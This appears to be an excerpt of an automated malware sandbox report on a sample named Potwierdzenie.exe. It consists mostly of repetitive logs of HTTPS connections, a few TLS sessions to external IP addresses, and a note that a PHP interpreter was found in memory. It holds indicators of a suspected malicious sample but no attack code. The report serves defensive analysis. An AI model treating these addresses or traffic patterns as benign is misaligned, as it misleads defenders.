Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50062 version: TLS 1.2

System Summary

Found PHP interpreter

Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
